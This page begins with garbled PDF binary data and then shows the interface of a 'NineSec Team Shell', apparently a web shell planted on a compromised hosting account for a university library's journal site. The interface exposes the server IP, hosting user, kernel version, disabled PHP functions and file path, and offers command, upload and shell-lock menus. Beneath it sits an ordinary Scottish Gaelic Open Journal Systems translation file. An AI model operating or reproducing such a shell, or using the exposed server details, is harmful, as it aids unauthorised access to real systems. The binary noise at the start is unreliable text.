%PDF-1.3 %âăĎÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœĽ\mo7ţ ˙a?îâńHŁŃĚŕŠyi{š$EÚ(i?ŹcÇŢÄkűürAţý‰˝ŽvˇEŰízF˘HI|H‘Ô?ż{Ř|Z|X|÷Ýńó‡‡őÇËółĹ‡ă77Ű?OžÝžż__lŽ×››ëăßOŕя77çwßżxńęĺâĹÉÓ'Ç?ŞĹ°8ůôôI] ľűgQťÔBŠŚ2zaŕł]œlÝűĹ|üôôɇĺŰ՟‹“?}ňƒŁ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 2a02:4780:6:1422:0:e17:6acc:2  /  Your IP : 216.73.216.151
Web Server : LiteSpeed
System : Linux id-dci-web1322.main-hosting.eu 4.18.0-553.109.1.lve.el8.x86_64 #1 SMP Thu Mar 5 20:23:46 UTC 2026 x86_64
User : u236415692 ( 236415692)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u236415692/domains/perpustakaan-undana.com/public_html/ejurnal/locale/gd_GB/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u236415692/domains/perpustakaan-undana.com/public_html/ejurnal/locale/gd_GB/submission.po
msgid ""
msgstr ""
"PO-Revision-Date: 2020-12-02 19:57+0000\n"
"Last-Translator: Michael Bauer <fios@igaidhlig.net>\n"
"Language-Team: Gaelic <http://translate.pkp.sfu.ca/projects/ojs/submission/"
"gd_GB/>\n"
"Language: gd_GB\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=4; plural=(n==1 || n==11) ? 0 : (n==2 || n==12) ? 1 : "
"(n > 2 && n < 20) ? 2 : 3;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "submission.submit.title"
msgstr "Cuir artaigeal"

msgid "submission.submit.userGroup"
msgstr "Cuir e ’s mi nam dhreuchd a leanas…"

msgid "submission.submit.userGroupDescription"
msgstr "Tagh an dreuchd agad a thaobh an tagraidh artaigil seo."

msgid "submission.upload.selectComponent"
msgstr "Tagh co-phĂ irt artaigil"

msgid "submission.title"
msgstr "Tiotal an artaigil"

msgid "submission.title.tip"
msgstr ""
"Mar is trice, ’s e “dealbh”, “teacsa” an seòrsa de thagradh no seòrsa eile "
"de mheadhan, a’ gabhail a-staigh “bathar-bog” no “rud eadar-ghnìomhach”.  "
"Tagh am fear as iomchaidhe dhan tagradh agad. Gheibh thu buill-eisimpleir "
"aig <a target=\"_blank\" href=\"http://dublincore.org/documents/2001/04/12/"
"usageguide/generic.shtml#type\">http://dublincore.org/documents/2001/04/12/"
"usageguide/generic.shtml#type</a>"

msgid "submission.submit.newSubmissionMultiple"
msgstr "Tòisich air tagradh Úr ann an"

msgid "submission.submit.newSubmissionSingle"
msgstr "Tagradh Ăšr"

msgid "grid.action.workflow"
msgstr "Sruth-obrach an tagraidh"

msgid "submission.abstract.wordCount.description"
msgstr ""
"Feumaidh an geàrr-chunntas a bhith uiread a dh’fhaclan a dh’ fhaid no nas "
"giorra: {$wordCount}."

msgid "submission.submit.noContext"
msgstr "Cha b’ urrainn dhuinn iris-leabhar an tagraidh seo a lorg."

msgid "submission.issueEntry"
msgstr "Meata-dĂ ta"

msgid "submission.submit.whatNext.description"
msgstr ""
"Chaidh fios mun tagradh agad a chur chun an iris-leabhair agus chaidh post-d "
"a chur thugad a dhearbhas gun d’fhuair iad e. Turas a rinn an lèirmheasaiche "
"lèirmheas air an tagradh, cuiridh iad fios thugad."

msgid "grid.action.galleyInIssueEntry"
msgstr "Tha a’ mhòr-dhuilleag a’ nochdadh ann an innteart na h-irise"

msgid "grid.action.issueEntry"
msgstr "Faic meata-dĂ ta an tagraidh seo"

msgid "submission.event.articleGalleyMadeAvailable"
msgstr "Chaidh mòr-dhuilleag an artaigil “{$galleyFormatName}” a chur ri làimh."

msgid "submission.event.articleGalleyMadeUnavailable"
msgstr ""
"Chan eil mòr-dhuilleag an artaigil “{$galleyFormatName}” ri làimh tuilleadh."

msgid "submission.event.publicIdentifiers"
msgstr "Chaidh aithnichearan poblach an tagraidh seo Ăšrachadh."

msgid "grid.issueEntry.availableGalley.title"
msgstr "Aonta an fhòrmait"

msgid "grid.issueEntry.availableGalley.removeMessage"
msgstr ""
"<p><em>Cha bhi</em> a’ mhòr-dhuilleag seo ri làimh an luchd-leughaidh.</p>"

msgid "grid.issueEntry.availableGalley.message"
msgstr "<p><em>Bidh</em> a’ mhòr-dhuilleag seo ri làimh an luchd-leughaidh.</p>"

msgid "grid.action.availableArticleGalley"
msgstr "Cuir a’ mhòr-dhuilleag seo ri làimh"

msgid "submission.galleyFiles"
msgstr "Faidhlichean nam mòr-dhuilleag"

msgid "submission.proofReadingDescription"
msgstr ""
"Luchdaichidh deasaiche na co-dhealbhachd suas na faidhlichean a chaidh "
"ullachadh airson foillseachadh agus a tha deiseil airson saothrachadh an-"
"seo. Cleachd <em>Iomruin neach-sgrĂšdaidh</em> a thaghadh nan Ăšghdaran is "
"daoine eile a nÏ dearbh-leughadh air na mòr-dhuilleagan. Thèid na "
"faidhlichean ceartaichte a luchdadh suas airson aontachadh ron "
"fhoillseachadh."

msgid "grid.action.approveProof"
msgstr ""
"Thoir aonta dhan tionndadh dearbhaidh seo airson a ghabhail a-staigh sa mhòr-"
"dhuilleag."

msgid "grid.action.pageProofApproved"
msgstr ""
"Fhuair an tionndadh dearbhaidh seo aonta agus thèid a ghabhail a-staigh sa "
"mhòr-dhuilleag."

msgid "submission.submit.titleAndSummary"
msgstr "An tiotal is geĂ rr-chunntas"

msgid "submission.submit.upload.description"
msgstr ""
"Luchdaich suas na faidhlichean a tha co-cheangailte ris an tagradh seo, a’ "
"gabhail a-staigh an artaigil, na meadhanan, seataichean dĂ ta, obair-ealain "
"is msaa."

msgid "submission.pageProofs"
msgstr "Dearbh-leughadh"

msgid "submission.confirmSubmit"
msgstr ""
"A bheil thu cinnteach gu bheil thu airson an t-artaigeal seo a chur dhan "
"iris-leabhar?"

msgid "workflow.review.externalReview"
msgstr "Lèirmheas"

msgid "editor.submission.decision.sendExternalReview"
msgstr "Cuir airson lèirmheas"

msgid "submission.event.issueMetadataUpdated"
msgstr "Chaidh am meata-dĂ ta tagraidh aig an iris Ăšrachadh."

msgid "submission.upload.fileContents"
msgstr "Co-phĂ irt an artaigil"

msgid "submission.complete"
msgstr "Air aontachadh"

msgid "submission.incomplete"
msgstr "A’ feitheamh ri aonta"

msgid "submission.submit.form.localeRequired"
msgstr "Tagh cĂ nan an tagraidh."

msgid "submission.submit.submissionChecklist"
msgstr "Liosta-chromagan an tagraidh"

msgid "submission.submit.submissionChecklistDescription"
msgstr ""
"Feumaidh tu cur an cèill gun do leugh is gun do choilean thu na riatanasan "
"gu h-ĂŹosal mus lean thu air adhart."

msgid "submission.submit.privacyStatement"
msgstr "An aithris prĂŹobhaideachd"

msgid "submission.submit.contributorRole"
msgstr "Dreuchd neach-pĂ irteachaidh"

msgid "submission.submit.form.authorRequired"
msgstr "Tha feum air co-dhiĂš aon Ăšghdar."

msgid "submission.submit.form.authorRequiredFields"
msgstr "Tha ainm, sloinneadh is post-d gach Ăšghdar riatanach."

msgid "submission.submit.form.titleRequired"
msgstr "Cuir a-steach tiotal an artaigil seo."

msgid "submission.submit.form.abstractRequired"
msgstr "Cuir a-steach geĂ rr-chunntas an artaigil agad."

msgid "submission.submit.form.wordCountAlert"
msgstr ""
"Tha an geàrr-chunntas agad ro fhada. Dèan nas giorra e gus an gèill e ri "
"crĂŹoch nam faclan aig an earrann seo."

msgid "submission.submit.form.contributorRoleRequired"
msgstr "Tagh dreuchd neach-pĂ irteachaidh."

msgid "submission.citationFormat.notFound"
msgstr ""
"Cha b’ urrainn dhuinn t-iomradh a dh’iarr thu fhaighinn san fhòrmat sin."

msgid "submission.metadataDescription"
msgstr ""
"Tha na riatanasan seo stèidhichte air seata meata-dàta Dublin Core, stannard "
"eadar-nĂ iseanta airson tuairisgeul a thoirt air susbaint iris-leabhraichean."

msgid "submission.viewingPreview"
msgstr ""
"’S e ro-shealladh a tha seo ’s cha deach fhoillseachadh fhathast. <a href=\""
"{$url}\">Seall an tagradh</a>"

msgid "section.any"
msgstr "Earrann sam bith"

msgid "submission.sectionOptions"
msgstr "Roghainnean na h-earrainn"

msgid "catalog.browseTitles"
msgstr "Nithean ({$numTitles})"

msgid "catalog.category.heading"
msgstr "A h-uile nĂŹ"

msgid "galley.editPublishedDisabled"
msgstr ""
"Cha ghabh mòr-dhuilleagan an fhoillseachaidh seo a dheasachadh a chionn ’s "
"gun deach fhoillseachadh mu thrĂ th."

msgid "galley.publicationNotFound"
msgstr "Cha b’ urrainn dhuinn am foillseachadh dhen mhòr-dhuilleag seo a lorg."

msgid "publication.datePublished.description"
msgstr ""
"Thèid ceann-là an fhoillseachaidh a shuidheachadh gu fèin-obrachail nuair a "
"thèid an iris fhoillseachadh. Na cuir a-steach ceann-là foillsichidh ach ma "
"chaidh an t-artaigeal fhoillseachadh roimhe seo am badeigin eile agus ma tha "
"feum agad air seann cheann-lĂ  a chur air."

msgid "publication.invalidSection"
msgstr "Cha b’ urrainn dhuinn an earrann dhen fhoillseachadh seo a lorg."

msgid "publication.invalidIssue"
msgstr "Cha b’ urrainn dhuinn an iris dhen fhoillseachadh seo a lorg."

msgid "publication.issue.success"
msgstr "Chaidh am mion-fhiosrachadh aig iris dhen fhoillseachadh Ăšrachadh."

msgid "publication.publish.confirmation"
msgstr ""
"Chaidh gach riatanas foillseachaidh a choileanadh. A bheil thu cinnteach gu "
"bheil thu airson seo fhoillseachadh?"

msgid "publication.publish.confirmation.futureIssue"
msgstr ""
"Chaidh gach riatanas foillseachaidh a choileanadh. Thèid seo fhoillseachadh "
"nuair a thig {$issue} a-mach. A bheil thu cinnteach gu bheil thu airson seo "
"a chur air an sgeideal airson foillseachadh?"

msgid "publication.publish.confirmation.backIssue"
msgstr ""
"Chaidh gach riatanas foillseachaidh a choileanadh. Thèid seo fhoillseachadh "
"sa bhad ann an {$issue}. A bheil thu cinnteach gu bheil thu airson seo "
"fhoillseachadh?"

msgid "publication.publish.confirmation.datePublishedInPast"
msgstr ""
"Chaidh gach riatanas foillseachaidh a choileanadh. Leis gun deach "
"{$datePublished} a shuidheachadh mar cheann-là foillseachaidh, thèid "
"fhoillseachadh sa bhad. A bheil thu cinnteach gu bheil thu airson seo "
"fhoillseachadh?"

msgid "publication.required.issue"
msgstr "Feumar am foillseachadh iomruineadh do dh’iris mus gabh fhoillseachadh."

msgid "publication.publishedIn"
msgstr "Air fhoillseachadh ann an <a href=\"{$issueUrl}\">{$issueName}</a>."

msgid "publication.scheduledIn"
msgstr ""
"Gu bhith fhoillseachadh ann an <a href=\"{$issueUrl}\">{$issueName}</a>."

msgid "publication.unscheduledIn"
msgstr "Cha deach seo a chur air an sgeideal airson foillseachadh fhathast."

msgid "publication.assignToissue"
msgstr "Iomruin do dh’iris"

msgid "publication.selectIssue"
msgstr "Tagh iris airson a chur air an sgeideal airson foillseachadh"

msgid "publication.inactiveSection"
msgstr "{$section} (Neo-ghnĂŹomhach)"

NineSec Team - 2022